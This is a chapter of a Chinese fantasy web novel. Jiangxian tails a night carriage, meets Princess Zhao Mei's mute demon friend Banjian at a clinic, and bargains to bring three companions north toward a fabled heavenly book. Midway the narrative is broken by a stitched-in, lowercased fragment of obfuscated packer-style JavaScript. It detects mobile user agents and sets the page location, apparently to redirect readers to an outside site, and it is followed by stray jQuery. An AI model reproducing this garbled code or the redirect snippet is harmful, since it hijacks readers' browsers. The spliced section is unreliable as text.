30. 半见

是夜,绛仙百无聊赖的靠在屋脊翘起的脊兽上,手中闲闲转动着双月,一下又一下,十分缓慢。


她的目光投向远处空荡的街道,耳边梆子声响了三次,此时已经是三更了。


这些天她一直在想谢如许,想他天下那么多人,为何偏要缠着自己?想他兄弟都找上门来了为何不认?想他和那位真正的谢家公子究竟是何关系?究竟发生了什么?


想他那日说的日后与过去究竟是什么意思?


想来想去,猜来猜去,以至于这些天里她闭上眼睛就是谢如许,睁开眼睛又能看到他。


简直难受!干脆外出来逛一逛,换换心情。


不过,如今既然已经知晓了他的身份,那和赵袂的交易岂不是没有用处了?那她是不是就不用费力走那么远去找什么寒潭天书了?


可是自己都已经答应她了,突然反悔是不是不太好?


想着,绛仙手中的动作停了下来。


与此同时,一辆朴素平常的马车骨碌碌从不远处的街道驶过。


绛仙直起身子定睛一看,发觉出了一丝不对劲。


这马车外表看起来朴实无华,但那用来钉车轮的钉子却暗藏玄机,这种材质的铁在整个汴京能用得起的人家一只手都能数得过来,谢家算一个,但这马车明显不是谢家的。


而且没有那家会在半夜三更外出,还走这么偏僻的小道。


看完马车,她又将目光投向了在车间驾车的车夫,那人头戴斗笠,几乎遮住了整张脸,但从直挺的脊背和白皙的手背不难看出这人一定不是经常驾车的。


而且,绛仙双眼微眯,这人的身形和气味有些熟悉啊!


她从房檐轻盈跃下,静悄悄跟在马车后面,想看看这人究竟要去哪里。


这马车左绕右绕,分明是想掩盖自己的目的地,还好绛仙跟得紧,否则真的有可能被这人给甩掉。


差不多一炷香的时间后,马车徐徐停在了一扇木门前,这木门外的一段是石子路。通过地上的车辙深度不难看出这车中只有两人。


一个是驾车的“车夫”,那另一个是谁?


绛仙躲在墙角,好整以暇地等着车内那人出来,没想到车夫勒了马之后好半晌都没有什么动作。


片刻后,那人说话:“阁下跟了这么久,不打算出来打声招呼吗?”


绛仙右眉一挑:被发现了?不会吧?


不过这个声音……


绛仙缓缓从墙角走出,静静注视着那位“车夫”,探究道:“长公主殿下?”


赵袂这才拿下斗笠,理理衣袖后跃下马车,负手看着绛仙,眼中有些诧异:“我还当是谁,原来是绛仙姑娘。”


见是熟人,绛仙也懒得藏什么,直直朝着赵袂走去,在距离她两步以外停下,视线落在马车的车窗上,问:“这车内是?”


赵袂答道:“阿胤。”


“哦?你带他来这儿干什么?”绛仙打量着这扇木门,门内透出一阵十分浓郁的药香,看样子是一家医馆,“治病?”


赵袂摇头,眼底隐隐无奈:“若是真的有人能治就好了。我是怕我离开的日子太久,阿胤一个人神志不清,待在宫中会有危险所以就想将他托付给我的一位朋友,代为照顾。”


说罢,她扣扣敲了三下,声音清脆利落,没过多久,院中就响起一阵沙沙的脚步声。


绛仙转过身正对木门,她倒要看看能人赵袂如此信任的朋友究竟是个什么样?


门被从内打开,门后站着的是一位削瘦的黄衣女子。


她身量矮小,脸色更是白得吓人,若是在夜中看到她怕是会误认成什么骷髅鬼怪。


……不过也没什么区别了。


绛仙拧眉,“妖?”


女子转头看她,没有说话,只是对她露出一个友善的微笑。


绛仙心中诧异,没想到下令杀妖取丹的当朝长公主,最信任的竟然是一只妖?


还是一只……没有妖丹的妖?


赵袂一边掀开车帘一边向绛仙解释:“她名叫半见,是妖,也是我的一位好友,口不能言。”


绛仙诧异,哑巴?


赵承胤被赵袂搀扶着下车时,绛仙凑上前看了几眼。


四肢脱力,目光呆滞。


都不能用神志不清来形容了,这简直就是痴傻!


将赵承胤安稳安置在偏房后,半见引着两人来到了堂中。


不算大的正堂被两扇屏风分成了三块,左边一块摆着一张长桌和两个软垫,从桌上摆着的东西不难看出这地方是用来给患者诊脉的,右边则整齐摆放着三张床,床边摆着针灸用的针,和用来练习扎针的木头人。


最中间就是客人等候的区域了,一张四方的桌子旁摆着四个椅子,三人一人一个还空出来一个。


令绛仙奇怪的是,寻常医馆桌子上都会摆些药茶之类,再不济也是白水,可这家医馆的桌上摆着的却是一小方碗的麦糖。


像是小孩吃的。


绛仙随手捻起一颗看了看,半见不知从哪里拿出一个小本和一只笔,在纸上唰唰写了几个字,在绛仙面前展开。


绛仙抬眼,看到一行娟秀的字迹:若是姑娘想吃,直接拿就是,这糖是我自己做的,加了草药。


绛仙一顿,旋即把糖一扔,“谁要吃这东西?”


半见也不恼,低头提笔,不过片刻她就将小本推到赵袂面前:


阿袂,你且放心,我定会好生照料陛下。


赵袂心中一热,满怀感激地看向她,“多谢。”


半见轻笑着摇了摇头,告诉赵袂不必客气。


绛仙坐在一边撑着脑袋,等两人交流结束后,用手指轻扣一下桌面。


赵袂转而问:“绛仙姑娘可是有话要说?”


绛仙看向半见,意思很明显:接下来要说的话,她不能听。


半见生得一颗玲珑心,自然明白她的意思,对赵袂略一点头后就转身去了后堂。


鹅黄色的纱帘落下,绛仙盯着赵袂,道:“我改主意了。”


赵袂眼下一跳,“什么主意?”


绛仙指节轻敲桌面,道:“我不问你问题了,我要换个酬劳。”


听到不是撒手不干,赵袂明显松了口气,继续问:“绛仙姑娘还想要什么?”


绛仙眼珠转了转,道:“我要带三个人一起去。”


赵袂一顿,“三个人?”


谢如恙,长徽,还有一个谁?


绛仙伸出三根手指,每说一个名字就放下一个:“谢如恙,长徽,还有……谢如许。”


“什么?”赵袂觉得不妥,“谢大公子身体不便,如何能撑得住这一路的奔波?而且就算我同意,那谢二公子可不一定同意,毕竟……”


绛仙十分自然地接话:“毕竟他把自己哥哥看得比眼珠子还要紧是吧?”


她粲然一笑,“没关系,只要你同意,其他的一切事情我来搞定。如何,答应吗?”


35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639611|170330||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>赵袂垂下眼,目光沉沉。


此事她本不想让太多人参与,毕竟人越多越容易生变,怕到时候发生什么难以把控的事情就不妙了。


况且,此行有多凶险还不得而知,若是这一路有人因此受伤或丧命又该如何?


绛仙注视着她,仿佛看穿了她心中所想,在她开口之前率先道:“你放心,他们的安全交给我,你只需要带路就行。”


赵袂和绛仙对上视线,见她一副胸有成竹的样子也不好再说些什么。


“好。”赵袂点头。


确定赵袂这边没什么意见之后就没什么难事了,谢如恙那人再犟还能犟得过她不成?


绛仙放松了身体靠在椅背上,拿了颗糖丢进嘴里,一阵清甜瞬间席卷了口腔。


这一路上不知道要遇到什么事,若是长徽和谢如恙都陷入险境,她就不信谢如许还能装得住!


到时候就让他选一选,究竟是将所有隐瞒的东西一五一十的告诉自己轻松,还是向谢如恙和长徽两个人解释轻松。


……


赵袂将出发的日子定在了三天后。


到了当日,阳光明媚,丝毫没有冬日的阴冷。


绛仙站在谢府门外,面前是被改装过的超大号马车,车顶那颗大得离谱的翠色宝珠在太阳的照耀下闪着光。


谢如恙的声音从很远的地方传来,且音量越来越大。


他跳过门槛,上前扣住绛仙的肩膀,坚决道:“不行!”


绛仙回道:“为什么不行?”


谢如恙深吸一口气,眼中满是不解:“我哥身体不好你是知道的,你怎么能让他和我们一起去呢?要是他半路出什么意外的怎么办?”


绛仙啧啧两声,“还没出发呢你就开始诅咒他了?”


“不是!”谢如恙极其认真地道,“不怕一万就怕万一!”


绛仙按下他的手,随意道:“有我在不会出事的。”


“我不信。”谢如恙还是不愿意松口。


绛仙只好伸出三根手指对天发誓:“我发誓,这一路我会确保你哥的安全,你死我都不会让你哥死的,好吗?再说了,我和长徽两个人还保不住你哥一个人吗?”


谢如恙顿了一下,长徽和谢如许恰好前后走出府门。


长徽的目光在谢如许身上停了片刻后抱着包袱走上前,“谢兄放心,我定会保护好你的。”


谢如恙怎么能放心?


他快步跑到谢如许身边,抓着他的手臂恳求道:“哥,你别去了好不好?”


谢如许抚上弟弟的发顶,道:“阿恙放心,有绛仙姑娘的这句话,为兄一定不会出事的。”


“可是……”谢如恙还是不依不饶。


谢如许轻笑:“你之前不还说这十多年以来我二人还未好好同游过,这次就当外出游玩了如何?”


“可是危险啊!”谢如恙的嘴角都快撇到地底下了。


谢如许安抚道:“放心,没事的,我相信绛仙姑娘和长徽公子。”


绛仙嘴角挂着一抹狡黠的笑意,反手敲敲车窗,示意赵袂可以出发了。


出城向北走,极北之地有寒潭,寒潭栖玄武,守天书。


天书,可解世间万难。


车外风景缓缓飘过,日月浮沉,不知何时突然飘起了点点的白花。


听着耳边谢如恙惊喜的叫声和绛仙烦躁的制止声,谢如许唇边挂着的笑意变了些许意味。


这雪,他见得太多了。